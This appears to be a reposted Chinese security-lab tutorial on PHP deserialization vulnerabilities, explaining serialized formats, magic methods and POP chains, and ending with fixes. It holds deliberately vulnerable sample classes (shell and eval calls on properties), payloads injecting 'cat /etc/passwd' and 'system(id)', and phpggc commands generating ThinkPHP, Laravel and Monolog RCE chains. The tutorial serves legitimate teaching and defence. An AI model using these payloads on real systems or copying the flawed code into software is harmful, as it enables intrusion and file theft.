文章总结: 本文详细介绍了PHP反序列化漏洞的原理与利用方式,包括序列化字符串格式、常见魔术方法(如destruct、wakeup、__toString)的触发机制,以及通过POP链构造实现复杂攻击的方法。文章以ThinkPHP为例展示了实际案例,并提供了使用phpggc工具生成利用链的示例。最后给出了修复建议:避免反序列化用户输入、使用白名单校验类名、优先采用JSON等安全序列化格式。 综合评分: 90 文章分类: 代码审计,漏洞分析,安全开发,安全工具
[代码审计] php 反序列化
Pik安全实验室
2026年5月18日 16:31 广东
在小说阅读器读本章
去阅读
0x00 介绍
反序列化漏洞是 PHP 中最经典的漏洞类型之一。当程序将用户可控的输入传给 unserialize() 函数时,攻击者可以构造特殊的序列化字符串,在反序列化过程中触发对象中的魔术方法(如 __destruct、__wakeup、__toString 等),从而实现任意代码执行、文件操作等攻击。
0x01 基础概念
序列化与反序列化
PHP 使用 serialize() 将对象、数组等数据结构转换为字符串,方便存储和传输。unserialize() 则将序列化字符串还原为原始数据结构。问题在于:反序列化过程中会自动触发某些魔术方法,如果这些方法中存在危险操作,就构成了反序列化漏洞。
// 序列化示例 class User { public $name = ‘test’; public $isAdmin = false; } $u = new User(); echo serialize($u); // 输出: O:4:”User”:2:{s:4:”name”;s:4:”test”;s:7:”isAdmin”;b:0;}
序列化字符串格式
理解序列化字符串的格式是构造 payload 的基础:
// 基本类型 s:4:”test”; // 字符串: s:长度:”内容” i:123; // 整数 d:1.5; // 浮点数 b:1; // 布尔值 N; // NULL
// 数组 a:2:{i:0;s:3:”foo”;i:1;s:3:”bar”;}
// 对象 O:4:”User”:2:{s:4:”name”;s:4:”test”;s:7:”isAdmin”;b:0;} // O:类名长度:”类名”:属性数量:{属性键值对}
常见魔术方法
以下魔术方法在反序列化过程中可能被自动触发:
__wakeup() // unserialize() 时自动调用 __destruct() // 对象销毁时调用 __toString() // 对象被当作字符串时调用 __call() // 调用不存在的方法时触发 __get() // 读取不可访问的属性时触发 __set() // 给不可访问的属性赋值时触发 __invoke() // 对象被当作函数调用时触发 __sleep() // serialize() 时调用
0x02 漏洞触发方式
方式 1:__destruct 触发
最常见的触发方式。对象在脚本结束或显式销毁时自动调用 __destruct()。
class FileHandler { public $filename; function __destruct() { // 危险:直接用属性拼接命令 system(“rm -rf ” . $this->filename); } } // 攻击:构造 filename = “; cat /etc/passwd” $payload = ‘O:11:”FileHandler”:1:{s:8:”filename”;s:17:”; cat /etc/passwd”;}’; unserialize($payload); ?>
方式 2:__wakeup 触发
unserialize() 调用时自动触发 __wakeup()。注意:如果序列化字符串中属性数量大于实际数量,可绕过 __wakeup()(PHP 5 < 5.6.25 / PHP 7 < 7.0.10)。
class Connector { public $host; function __wakeup() { $this->connect(); } function connect() { // 危险操作 eval(“echo ‘$this->host’;”); } } // 攻击 payload $payload = ‘O:9:”Connector”:1:{s:4:”host”;s:17:”‘;system(id);//’;}’; unserialize($payload); ?>
方式 3:__toString 触发
当对象被当作字符串使用时(如 echo、字符串拼接)触发 __toString()。
class Template { public $content; function __toString() { return file_get_contents($this->content); } } // 如果 unserialize 后的对象被 echo $payload = ‘O:8:”Template”:1:{s:7:”content”;s:11:”/etc/passwd”;}’; $obj = unserialize($payload); echo $obj; // 触发 __toString,读取 /etc/passwd ?>
方式 4:POP 链构造
当单个类的魔术方法不足以完成攻击时,需要串联多个类的方法调用链(POP Chain)。这是反序列化漏洞利用的核心技术。
// POP 链示例:从起点类逐步触发到终点类 class A { public $obj; function __destruct() { $this->obj->action();// 调用 B->action() } } class B { public $cmd; function action() { system($this->cmd); // 终点:执行命令 } } // 构造链 $a = new A(); $a->obj = new B(); $a->obj->cmd = ‘whoami’; echo serialize($a); // payload: O:1:”A”:1:{s:3:”obj”;O:1:”B”:1:{s:3:”cmd”;s:6:”whoami”;}} ?>
0x03 实际案例
ThinkPHP 反序列化
ThinkPHP 5.x 存在多个反序列化利用链。核心在于寻找一条从 __destruct 到可执行危险操作(如 call_user_func、system)的调用路径。思路是在框架源码中找到存在危险函数调用的类,逆向追溯调用链。
phpggc 工具使用
phpggc 是 PHP 反序列化 gadget 的生成工具,内置了大量框架和 CMS 的利用链:
列出可用链
phpggc -l
ThinkPHP RCE
phpggc ThinkPHP/RCE1 system whoami
Laravel RCE
phpggc Laravel/RCE1 system id
生成 phar 文件
phpggc -p phar Monolog/RCE1 system whoami > exploit.phar
0x04 修复方案
- 避免反序列化用户输入
永远不要对用户可控的数据调用 unserialize()。使用 JSON 等安全格式替代。
- 白名单校验类名
如果必须反序列化,限制允许的类。
// 限制反序列化可用的类 $allowed = [‘User’, ‘Product’, ‘Order’]; $data = unserialize($input, [‘allowed_classes’ => $allowed]);
- 使用安全序列化格式
优先使用 json_encode/json_decode 代替 serialize/unserialize。json 不支持对象,天然免疫反序列化攻击。
本文仅作安全研究与学习用途,用于非法行为后果自行承担。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Pik安全实验室 《[代码审计] php 反序列化》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[代码审计]php反序列化](/images/random/titlepic/10.jpg)

![[代码审计]php命令执行](/images/random/titlepic/5.jpg)




评论